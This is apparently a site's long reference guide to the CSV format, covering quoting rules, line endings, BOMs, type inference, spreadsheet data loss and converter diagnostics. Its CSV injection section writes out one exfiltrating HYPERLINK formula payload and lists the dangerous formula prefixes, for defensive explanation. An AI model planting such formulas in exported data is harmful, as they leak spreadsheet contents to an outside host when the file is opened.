Skip to content
FmtTools

Format reference

CSV: The Complete Format Guide

The grammar, the quoting rules, the byte-level traps and the exact places where a harmless-looking text file loses your data.

Updated
November 17, 2026
Reading time
13 min read
Length
2,568 words
Reviewer note
Checked against the published specification
A CSV file rendered as three quoted rows with the commas that separate fields highlighted and the commas inside quotes dimmed.

A file of the smallest possible shape — rows one per line, columns separated by one character that is not part of the data — and almost none of what goes wrong is visible in that shape: quoted fields containing the separator, a three-byte mark at offset 0 that decides which characters the rest of the file means, and readers that quietly rewrite values they cannot represent.

Foundations

What a CSV file is: grammar, endings and bytes

TL;DR. CSV is a layout, not a schema. RFC 4180 fixes the grammar but leaves encoding, header and delimiter to the reader, so two parsers can disagree without either being wrong — and most reported bugs are consequences of that openness, not violations of the format.

A CSV file is a rectangular table serialised into characters: records divided by a line break, fields within a record divided by a comma, and double quotes wrapped around anything structural. RFC 4180 is an informational document that registers the text/csv media type and states outright that it is not a strict standard. There is no container, no schema, no encoding declaration and no magic number — which is why files named .csv are so often tab-separated or UTF-16. JSON specifies a grammar, a data model, a mandatory encoding and an escaping scheme in one document (the JSON guide); a CSV file specifies a layout, so it is always interpreted by a reader, and two readers can disagree without either being wrong.

record
One row of the table. A record can span several physical lines.
field
One cell. It may be empty, quoted, or contain the delimiter as data.
terminator
The line break ending a record: CRLF per the RFC, LF or CR in the wild.
quoted field
A field wrapped in double quotes. Escaped quotes appear as two characters.
BOM
U+FEFF at offset 0, written EF BB BF in UTF-8. Pollutes the first field name.
ragged row
A record whose field count differs from the header’s.
round trip
Parse, then re-serialise, and get the same values back.

The grammar, in the places it settles an argument

§2’s seven rules, compressed: records are separated by CRLF and the last may or may not have a trailing break; fields are separated by commas; an unquoted field must not contain a double quote; a field containing a comma, a line break or a quote should be quoted, with a literal quote written twice; and the header line is optional and must be agreed between producer and consumer. One sentence sits inside rule 4, and it is the authority against the reflex to trim: “Spaces are considered part of a field and should not be ignored.”

RFC 4180 §3 ABNF, productions as written11 lines
CSV-file    = [header CRLF] record *(CRLF record) [CRLF]
header      = name *(COMMA name)
record      = field *(COMMA field)
name        = field
field       = (escaped / non-escaped)
escaped     = DQUOTE *(TEXTDATA / COMMA / CR / LF / 2DQUOTE) DQUOTE
non-escaped = *TEXTDATA
COMMA       = %x2C
CR          = %x0D
DQUOTE      = %x22
LF          = %x0A

What matters is what the grammar omits — no encoding declaration, no escape mechanism other than the doubled quote, no comment syntax — because anything that looks like one of those is a reader extension.

Two things fall out of the productions: a file may end in one optional CRLF, so blank lines are a diagnostic, not whitespace; and CR and LF are both legal inside escaped, which lets a postal address survive a round trip and breaks every split('\n') in existence.

The media type carries the two answers the file cannot

§3 registers text/csv with two optional parameters. charset takes a value from the IANA character-set registry; without it the default is us-ascii, which is why a bare Content-Type: text/csv response with accented names is a bug. header takes present or absent: the machine-readable form of the agreement rule 3 demands. If you control both ends, charset fixes the encoding class of bugs and header=present removes the most common parse disagreement, at no cost to the file body.

Line endings and byte order marks

The terminator the grammar names is CR LF, and the same rule concedes that the last record may have no break at all — which alone makes a trailing newline a convention you cannot test another producer against. A bare LF, a bare CR, and a file carrying both are all outside what the grammar accepts. The cost is one byte per record; interoperability is the reason to choose, not size.

Terminator styles, their byte cost, and what real readers make of them
TerminatorBytes/recordRFC 4180 conformant?Notable reader behaviour
CRLF2Yes — the only one namedPython writer default; Postgres CSV mode reads and writes it
LF1No, though universally acceptedPython’s reader accepts it; Unix tools emit it by default
CR alone1NoLine-oriented splitters read the whole file as one record
Mixed1–2NoEvery reader decides per break; diffs report a whole-file change
None (no final break)0Yes, explicitly optionalNothing to detect; the last record still parses

A BOM is U+FEFF at the start of a stream, three octets EF BB BF in UTF-8. RFC 3629 says the multi-octet function it serves is useless in UTF-8, and formats which identify their encoding SHOULD forbid it. RFC 4180 mandates no encoding at all, so those three bytes arrive attached to the first header cell: the column is named \ufeffid rather than id, and row["id"] returns nothing. Write UTF-8 without a BOM for machines and with one for double-clickers; binary payloads in a text channel are a different problem (Base64 guide).

Field syntax

Quoting, delimiters, and why split is not a parser

TL;DR. Double quotes are the entire escape system of the format, and split(',') is not a parser: a correct reader is a state machine that tracks quote parity across line boundaries, because which characters are structural depends on whether you stand inside a quoted field.

Double quotes do exactly three things — let a field contain the delimiter, a line break, or a double quote. An unquoted field may not contain a quote at all, and a literal quote is written twice. There is no backslash escape in RFC 4180, no percent encoding and no entity references, so a file that uses any of those is a different format.

a quoted field containing a line break4 lines
id,bio
1,"line one
line two"
2,y

Five physical lines, three records: only one of those counts is the table, so a check that reports rows from a line counter reports the wrong number here.

split is not a parser

Almost every CSV bug in application code is the same seven characters: .split(. Split on newlines to get rows, split each row on commas to get fields. It passes the fixture and corrupts production, because which characters are structural depends on whether you stand inside a quoted field, and that depends on characters you have not read yet, including across the line boundaries the first stage just threw away.

the two-stage fallacy, measured9 lines
const text = 'id,bio\n1,"line one\nline two"\n2,y\n';   // 33 bytes, 3 records

text.split('\n');                                        // 5 pieces
text.split('\n').map(l => l.split(',').length);          // [2, 2, 1, 2, 1]  <- a 2-column table

const csv = '2,"Li, Wei",90210,7.25,2026-02-28,3.5';
csv.split(',').length;                                   // 7 fields. The row has 6.

'1,"a""b",3'.match(/("[^"]*"|[^,]+)/g);                  // 4 tokens: 1, "a", "b", 3. The record has 3.

Split by line and then by comma invents rows that do not exist in the table. Neither stage can be repaired locally: the line split has already destroyed the only information that said the break was data.

The usual second attempt is a regular expression, but the pattern people reach for cannot express “a quote is escaped if and only if it is doubled”. Every correct reader is a state machine like the loop below, with one character buffer, one field array and one flag for standing inside a quoted field.

a conformant RFC 4180 reader in 22 lines22 lines
function parseCsv(text, { delimiter = ',', hasHeader = true } = {}) {
  const rows = []; let field = '', row = [], quoted = false, started = false;
  const endField = () => { row.push(field); field = ''; started = true; };
  const endRow = () => { endField(); rows.push(row); row = []; started = false; };
  for (let i = 0; i < text.length; i++) {
    const c = text[i];
    if (quoted) {
      if (c === '"') {
        if (text[i + 1] === '"') { field += '"'; i++; }   // rule 7: doubled quote is data
        else { quoted = false; }                          // closing quote
      } else field += c;                                  // rule 6: commas and newlines are data here
    } else if (c === '"' && field === '' && !started) {
      quoted = true;                                      // a quote opens only at field start
    } else if (c === delimiter) endField();
    else if (c === '\n') { if (field !== '' || row.length || started) endRow(); }
    else if (c === '\r') { if (text[i + 1] === '\n') i++; if (field !== '' || row.length || started) endRow(); }
    else { field += c; started = true; }
  }
  if (field !== '' || row.length) endRow();               // rule 2: the last record needs no break
  const [header, ...body] = hasHeader ? rows : [];
  return hasHeader ? body.map(r => Object.fromEntries(header.map((h, j) => [h, r[j] ?? '']))) : rows;
}

Note where the states live: quoted is the only memory, the doubled-quote branch consumes two characters at once, and the line-break branches sit inside the else, so a CRLF inside a quoted field is appended to the value and never treated as a record boundary.

Two properties of that loop explain most of the diagnostics in the rest of this guide: a quote opens a field only when nothing has been accumulated yet, so a mid-field quote is data; and the machine cannot know a record ended until it sees the character after the break, so the quote flag must survive across chunk boundaries — which is why streaming parsers are a different shape of library rather than a loop wrapper.

Real files get quoting wrong constantly: three malformed shapes and the reading a conformant state machine produces
Input lineFieldsWhat the reader had to decide
1,abc"def["1", "abc\"def"]The quote is not at field start, so it is data: the value is kept verbatim
1,abc",x["1", "abc\"", "x"]A quote followed by a delimiter looks like a closing quote, so the row silently gains a field
"a"b,2["ab", "2"]Text between a closing quote and the next delimiter is not in the grammar; here it joins the value

An unterminated quote is not local: everything after the opening quote belongs to one field until the file ends.

Spaces are data, not formatting

Rule 4’s sentence means id, name has a header cell literally equal to name, leading space included. Python agrees: skipinitialspace exists precisely because its default is false. Both readings are defensible; only one is silent, and the silent one yields a key that matches nothing in your schema.

The delimiter family and how sniffing lies

The comma is a default, not a law. Semicolon comes from spreadsheet software in a locale whose decimal separator is a comma. Tab is the spreadsheet and database text-mode export default; TSV’s virtue is that a literal tab almost never occurs in prose (CSV vs TSV). Pipe turns up in hand-built exports; caret in legacy tools, and it is the delimiter guessing never rescues.

The delimiter candidates, and the honest state of each
CharacterGuessable?Typical sourceMain hazard
comma (,)YesThe RFC 4180 default; most APIs and exportersAppears inside numbers, addresses and free text
tab (\t)YesSpreadsheet “Text (Tab delimited)”, Postgres text COPYInvisible in editors; stripped by some log pipelines
semicolon (;)YesLocale exports where the decimal mark is a commaCommon in prose and in joined lists
caret (^)NoLegacy interchange toolsReads as a single column with no error raised

A scoring sniffer samples the first few dozen non-blank lines, counts how often each candidate occurs outside a quoted section, and multiplies that count by how consistently it repeats. Consistency is what makes the heuristic defensible — three occurrences on every line outscore six on the header alone — and what makes it easy to mistrust. A quoted field spanning three physical lines contributes its internal commas to one line’s count and nothing to the others. Guess for interactive use, never in a pipeline where you know the answer.

Structure

Rows and columns: the header, the ragged, and the untyped

TL;DR. The header is a convention, ragged rows have two indistinguishable causes (schema change vs unquoted delimiter), and a column has no type until something guesses — so 007 and 12345678901234567 must stay text, because the format records nowhere what they mean.

The header row is a convention, not a fact

Every tool you use assumes something about line 1 and the assumption is not recorded in the file. Rule 3 permits an optional header line and says its presence or absence must be agreed between producer and consumer; the IANA registration makes that agreement machine-readable as header=present or header=absent. Header-less files are not hypothetical: a database client’s bare COPY table TO STDOUT writes data and nothing else. Treating the first record as a header there invents a column name out of a customer’s order total, and nothing downstream complains. Three defects worth detecting: two columns named the same (one is dropped the moment rows become objects), an empty header cell (the reader invents a name), and a first row that is all digits (it is almost certainly data, not a header).

Ragged rows, blank lines and silent truncation

A ragged row is any record whose field count differs from the header’s, and it has two causes that look identical in the output: a producer that emitted a different column set (a schema problem) and an unquoted delimiter inside a value (a quoting problem). The fixes differ.

ragged file: 62 bytes, header says three columns3 lines
name,city,note
Ana,San Francisco,CA,"says ""hi"""
Bo,Lisbon,ok

A naive comma split reads that record as ["Ana", "San Francisco", "CA", "says \"hi\""] — four fields against a header of three. The usual cause is unquoted delimiters inside free text, such as a city written as “San Francisco, CA”.

What happens to that fourth value depends on the consumer. A reader that keys fields by header position has no name for it, so the value is dropped. Per-record field counts tell the two causes apart — [3, 3, 4, 3] is one bad row, [3, 4, 4, 4] is a schema change halfway through. Padding short rows fabricates values — a missing amount becomes zero — while dropping long rows discards the data that explains why the row was long. Keep the rows, key them by position, report the widths (data-migration workflow).

A column has no type until something guesses

The format carries no type information. A field is a sequence of characters, and whether 007 is the integer seven or a three-character code is recorded nowhere, so every consumer that offers to detect types is running a guess over which it will not warn you. Python’s QUOTE_NONNUMERIC converts unquoted fields to floats on reading, so a text column without quotes throws.

Field text, the type a round-trip-preserving pass assigns, and the value it produces
Field textInferredValueWhy
007string"007"Leading zeros are information; the integer 7 does not round-trip
42.50number42.5Currency precision, and any alignment a human relied on
+5string"+5"A leading sign with no decimal point is not trusted
TRUEstring"TRUE"Uppercase boolean spellings are a guess about intent
01/02/2020string"01/02/2020"Day-first or month-first? The file cannot say
12345678901234567stringkept as textAbove 2^53−1, and Number() would return …568
9007199254740993stringkept as textThe first odd integer a double cannot hold

Quoting does not protect a value from typing: a quoted 1.50 still becomes 1.5.

Types are decided per column, not per cell, and the interesting verdict is the mixed one. A zip column that comes back mixed over 90210 and 28001 means some rows were typed as numbers and others were not — almost always because one row carries a leading zero. The hard line is binary64: it holds consecutive integers exactly only up to 9,007,199,254,740,991, and the failure is direct: Number("12345678901234567") gives 12345678901234568. Bank account numbers, ISO identifiers and 18-digit national codes live above that line, which is why they must stay text in every representation you own (the JSON number section).

Data loss

The spreadsheet damage chain, value by value

TL;DR. A CSV file is inert; the damage happens when a spreadsheet types every column on open and saves its opinion back. Leading zeros, precision past 15 digits, and gene symbols like MARCH are the documented casualties — and the defence is a measurement, not a review.

The chain is always the same four links. A producer writes values as text. A spreadsheet opens the file and types every column by inspection. Somebody saves, and the file now contains the spreadsheet’s idea of your values. A consumer reads the saved file and trusts it. Between the first and the last, ZIP codes have become integers, identifiers have lost their final digits, and a gene called MARCH has become a date. Microsoft publishes the precision ceiling — 15 digits — and the file-format ceilings: 32,767 characters in a cell, and 1,048,576 rows by 16,384 columns, which is why a two-million-row export can be perfectly valid CSV and unopenable.

The same value through the chain: what the file held, and what comes back
Written asRe-saved asThe loss
0077Two characters of identity: a country code, a version, an account suffix
123456789012345671.23457E+16 or 12345678901234568The last two digits, silently; JavaScript gives …568
SEPT1 / MARCH1an unrelated calendar dayA published dataset where a gene became March 1 — the audit case that made column typing famous
a 40,000-character notea truncated cellEverything past 32,767 characters

A reader that never types a column cannot start this chain.

Security

CSV injection: the formula that ran

TL;DR. A cell starting with =, +, -, @ is code execution, not data. Quoting is necessary but not sufficient — Excel may strip quotes and re-activate formulas — so neutralise on write, refuse to evaluate on read, and never hand an untrusted CSV to a double-click workflow.

Everything above is about losing data. This is about gaining code execution, and it needs no vulnerability: only a spreadsheet that evaluates anything starting with = and a cell whose text came from a user. OWASP’s dangerous prefix set is =, +, -, @, tab and CR or LF, plus full-width Unicode look-alikes. A display name of =HYPERLINK("http://host/" & A1 & "?d=", "Invoice") is a URL builder that leaks a cell to an attacker-controlled host the moment the accounts team opens the monthly export.

Why the naive fix is half a fix

Quoting the field is necessary and not sufficient: quotes are a statement about the text/csv grammar, not about the spreadsheet, so they are consumed and discarded and the cell content still begins with =. OWASP says the mitigation is quoting plus a prefix that survives into the cell — an apostrophe or a leading tab — and warns that Excel may strip quotes and re-activate formulas. The defence has three layers: neutralise on write, refuse to evaluate on read, and never hand an untrusted CSV to a human in a double-click workflow.

Producers and implementations

Writing CSV, and what real readers do

TL;DR. Writing CSV is a set of obligations cheaper to satisfy than to debug: quote by rule, terminate the last record, emit the union of keys per record, and pick the terminator and BOM once in the export code instead of inheriting the platform default.

Reading CSV is a negotiation; writing it is a set of obligations cheaper to satisfy than to debug. A minimal-quoting writer tests four conditions per field and quotes if any fires.

The four quoting conditions, in the order a writer usually tests them
#ConditionWhy it has to fire
1the field contains the delimiter or the quote character§2 rules 5 and 6: an unquoted field may not contain a comma or a quote
2the field contains CR, LF, U+2028 or U+2029§2 rule 6 again — and the two Unicode line separators because line-based readers treat them as breaks
3the field starts or ends with whitespace§2 rule 4 says spaces are part of a field; quoting is the only way to assert that a consumer will preserve them
4the field looks like a formula prefixNot in the RFC at all — this is the injection mitigation from the previous section

Empty fields are usually emitted unquoted, and one-character values are commonly exempt.

What Postgres, Python, Papa Parse and spreadsheets actually do

PostgreSQL is the most explicit implementation: its COPY CSV mode states the quoting rule plainly. More useful is what it says about NULL, because that is where round trips die: the default NULL string is an unquoted empty string, so an empty field on disk is indistinguishable from a missing value — PostgreSQL resolves the ambiguity by writing NULL unquoted and matching non-NULL values quoted, so an empty string arrives as "". Papa Parse is the browser’s equivalent, and its dynamicTyping is the honest benchmark for type detection: it converts numeric and boolean data and, by its own documentation, ignores dates.

What each system promises about the four decisions RFC 4180 leaves open
ReaderDelimiterTypingNull
Postgres COPY, CSV modecomma by default, any single byte by optionColumn types come from the table, never the fileUnquoted empty string, configurable, FORCE_NOT_NULL to opt out
Python csv, excel dialectcomma; CRLF on write; doubling escapesNone — every value is a stringNone — an empty string is an empty string
Papa Parseguessed from a candidate list unless givenOptional dynamicTyping: numbers and booleans, not datesOptional; skipEmptyLines controls blank records
Spreadsheet softwaredecided by the producer’s locale, invisible in the fileGuessed per column, and the guess is written back on saveBlank is blank; there is no separate spelling for empty text

The spreadsheet row is the reason CSV has a reputation: it decides on your behalf at double-click speed and saves its opinion into the file.

Big files: streaming, memory and the size gap against JSON

CSV is the smallest reasonable way to write a flat table. The same 100,000 records, six columns:

100,000 records × 6 columns, byte counts measured with TextEncoder
RepresentationBytesRelative to CSV (LF)
CSV, LF terminators6,634,9921.000
CSV, CRLF terminators6,734,9931.015
JSON array of objects, minified12,534,9601.889
JSON array of objects, indented two spaces16,734,9612.522

The gap is structural: JSON repeats all six key names in all 100,000 objects. CSV buys the size with a loss of structure.

Streaming CSV is harder than streaming JSON: a CSV parser cannot stop at the line, because a quoted field may contain the very character your chunker uses as a boundary. A correct streaming reader carries the quote flag, the partial field, the partial record, and a one-character memory of whether the previous chunk ended in \r, because a CRLF straddling two chunks must produce one boundary, not two. Papa Parse handles this with step and chunk callbacks; PostgreSQL solves it with COPY FROM STDIN.

Product behaviour

How our CSV tools handle these cases

TL;DR. The engine prints the decisions the format leaves open — delimiter, endings, BOM, ragged rows, typing, round trip — instead of making them silently. Blank-line skipping, field trimming and backslash escaping are switches, off by default, because each one changes your data.

This is the only place in the guide that describes what FmtTools does. The engine is a state machine plus a delimiter scorer, a typing pass and a spreadsheet-damage audit, and its rule is that it prints the decisions the format leaves open instead of making them silently: the detected delimiter, the line-ending class, whether a BOM was found and stripped, per-row field counts, and whether the emitted JSON re-parses to the same values — Round trip: identical or Round trip: differs.

Diagnostics and reports produced by the CSV to JSON converter
ReportWhen it firesWhat it says
delimiter sniffAuto is left in placeFour candidates — comma, tab, semicolon, pipe — scored over the first 40 non-blank lines, with a one-click override
unterminated-quotea quoted field reaches end of fileError: A quoted field opened on line 3 is never closed — it stops rather than returning one giant record
ragged-rowa record disagrees with the headerError naming the line and both counts, up to eight individually, then a summary
typingSafe or Aggressive inferenceReports a type per column with examples where cells disagreed, labels the column string (mixed)
spreadsheet riska second pass over the parsed valuesUp to 40 findings: Formula injection (DFXP), Leading zero dropped, Precision loss, Gene symbol autocorrect, Excel ceilings

The gene-token pattern is anchored to the whole cell, so it catches MARCH and DEC but not MARCH1 or SEP1.

Measured on the 100,000-record table, parsing the 6,634,992-byte text moved the Node heap by roughly 67 MB — about ten times the bytes on disk — which is why the positional output shape exists. Everything runs in your browser tab with no upload step; for a file large enough to make that uncomfortable, split it on a record boundary you have verified is not inside a quoted field, convert the parts, and concatenate the results (JSON vs CSV).

Answers

Questions about CSV

Which page should I open for which CSV symptom?

Route by symptom. Wrong column count or a one-column parse: CSV to JSON and read its report. Nested JSON to a flat table: JSON to CSV. Values changed after a spreadsheet open: CSV vs Excel. Delimiter arguments: CSV vs TSV.

How do I choose the converter’s delimiter, typing and header options?

Leave delimiter on auto-detect for interactive use, pin it in scripts. Header on unless you know the file has none. Safe typing for human-edited files; no typing when output feeds a diff; aggressive only for machine-generated files with a schema you control.

My file is already damaged. Should I repair it or fix the export?

Fix the export, unless the damage is still reversible. A leading zero that became an integer cannot be recovered from the file alone. What you can repair without guessing is structure — delimiter, header, BOM. Re-run the producer with the column typed as text and quoted, then verify.

Two readers disagree about the same file. Which one is right?

Neither, probably. The format leaves delimiter, encoding, header and column set open, so both are filling gaps the file never filled. Declare charset in the media type, say header=present, name the delimiter in the contract, and write the disagreement into the loader tests as a fixture.

How do I check a claim in this guide myself?

Three cheap experiments. Write one record with a comma and one with a doubled quote, then count bytes back against bytes sent. Feed a parser a five-line file with one quoted field spanning two lines and compare record count with line count. In any JS console, evaluate Number("9007199254740993") to watch the last digit move.

Related

Next up

Sources and further reading

  1. [1]RFC 4180 — Common Format and MIME Type for CSV Files — The §2 rules quoted and summarised here, the verbatim sentence “Spaces are considered part of a field and should not be ignored”, the §3 ABNF productions, and §4’s statements that this is not a strict standard and that implementations vary widely. (accessed November 12, 2026)
  2. [2]IANA — Media Type Registration: text/csv — Confirms RFC 4180 is the registering publication, that no required parameters exist, that the optional parameters are charset and header with values present or absent, and that encoding considerations are given as CRLF. (accessed November 12, 2026)
  3. [3]RFC 3629 — UTF-8, a transformation format of ISO 10646 — Source for U+FEFF as the BYTE ORDER MARK, the EF BB BF octet sequence in UTF-8, the statement that the multi-octet function is useless in UTF-8, the MAY for an initial U+FEFF to be a signature or a zero-width no-break space, and the SHOULD that formats with an identified encoding forbid a BOM. (accessed November 12, 2026)
  4. [4]OWASP — CSV Injection — The dangerous prefix set (=, +, -, @, tab, carriage return or line feed, and full-width variants), the applications affected, and the mitigations of quoting fields, prefixing an apostrophe or a tab — including the warning that Excel may strip quotes and reactivate previously escaped formulas. (accessed November 12, 2026)
  5. [5]Microsoft — Excel specifications and limits — Worksheet size of 1,048,576 rows by 16,384 columns, 32,767 characters in a cell, and 15 digits of number precision — the ceilings a valid CSV file can exceed and a worksheet cannot. (accessed November 12, 2026)
  6. [6]PostgreSQL documentation — COPY — The CSV mode quoting sentence, the rule that a NULL is written as the NULL parameter string unquoted while a non-NULL value matching it is quoted, FORCE_QUOTE, FORCE_NOT_NULL, the default tab and comma delimiters, ESCAPE defaulting to QUOTE, and the “not strictly one line per table row” note. (accessed November 12, 2026)
  7. [7]Python 3 documentation — csv reader and writer objects — The excel, excel_tab and unix dialects, the CRLF lineterminator default, the reader being hard-coded to recognise either a carriage return or a line feed and to ignore lineterminator, the newline="" file-open requirement, and the QUOTE_MINIMAL, QUOTE_ALL, QUOTE_NONNUMERIC and QUOTE_NONE writer modes. (accessed November 12, 2026)
  8. [8]Papa Parse documentation — Browser-side reference for delimiter guessing from delimitersToGuess, quoteChar/escapeChar/newline options, skipEmptyLines, dynamicTyping converting numbers and booleans while ignoring dates, and the step/chunk/worker streaming options for large files. (accessed November 12, 2026)